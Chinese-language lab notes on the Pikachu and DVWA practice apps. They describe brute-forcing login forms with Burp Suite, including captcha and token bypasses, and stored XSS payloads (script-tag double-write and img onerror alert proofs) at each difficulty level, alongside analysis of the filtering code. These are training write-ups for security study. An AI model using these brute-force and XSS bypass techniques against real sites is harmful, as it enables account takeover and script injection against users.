something about Pikachu - Burte Force

pikachu

pikachu => 备份地址

Brute Force(暴力破解)

基于表单的暴力破解

  • 使用burpsuite抓包,利用字典破解

    针对password进行暴破。

    1
    username=admin&password=§passwd§&submit=Login

验证码绕过(on Server)

此验证码只要不刷新,就可以无限使用,因此暴力破解比较简单。

基于表单的暴力破解相同,对password进行暴力破解。

1
username=admin&password=§passwd§&vcode=35kmjk&submit=Login

验证码绕过(on Client)

此验证码为纯前端验证码,审查元素中去除formonsubmit事件。然后与基于表单的暴力破解相同。

1
2
3
<form id="bf_client" method="post" action="bf_client.php" onsubmit="return validate();">
<!-- content -->
</form>

token防暴破

此验证码使用token验证,请求页面时页面内有隐藏的token内容。使用burpsuite时,设置通过
正则从响应中获取token,暴力破解。

从页面中获取token设置参考:brute force(#High)

针对passwordtoken暴力破解。

1
username=admin&password=§password§&token=§2614161ae1e6869d9e496577103§&submit=Login

something about DVWA - XSS(Stored)

DVWA

DVWA => 备份地址

XSS(Stored)

XSS是跨站脚本攻击Cross-site scriptingStored类型是 存储型XSS攻击,此类型的XSS保存在目标服务器上,用户每次访问都会被攻击。

Low

  • 手动测试

    直接在内容中输入恶意内容后提交。

    1
    <script>alert("bad");</script>
  • 源码分析

    • 将参数内容存储到DB中

    使用stripslashes()mysqli_real_escape_string()函数,转义特殊字符。

    1
    2
    // Update database
    $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

Medium

  • 手动测试

    name进行注入。采用双写绕过过滤。

    注入内容:

    1
    <script<script>>alert('bad');</script>
  • 源码分析

    • message内容去除html标签

      使用strip_tags()去除html标签。

      1
      2
      // Sanitize message input
      $message = strip_tags( addslashes( $message ) );
    • name过滤<script>标签

      1
      2
      // Sanitize name input
      $name = str_replace( '<script>', '', $name );

High

  • 手动测试

    • 采用<img/>标签

    name注入<img onerror=""/>

    1
    <img src="1" onerror="alert('bad');" />
  • 源码分析

    • 使用正则的方式过滤<script>标签
    1
    2
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

Impossible

  • 源码分析

    • 去除参数中的\

      使用stripslashes()去除字符串中的\字符。

    • 转义特殊字符

      使用mysqli_real_escape_string()函数转义特殊字符。

    • 预编译SQL执行

      使用PDO的方式执行SQL。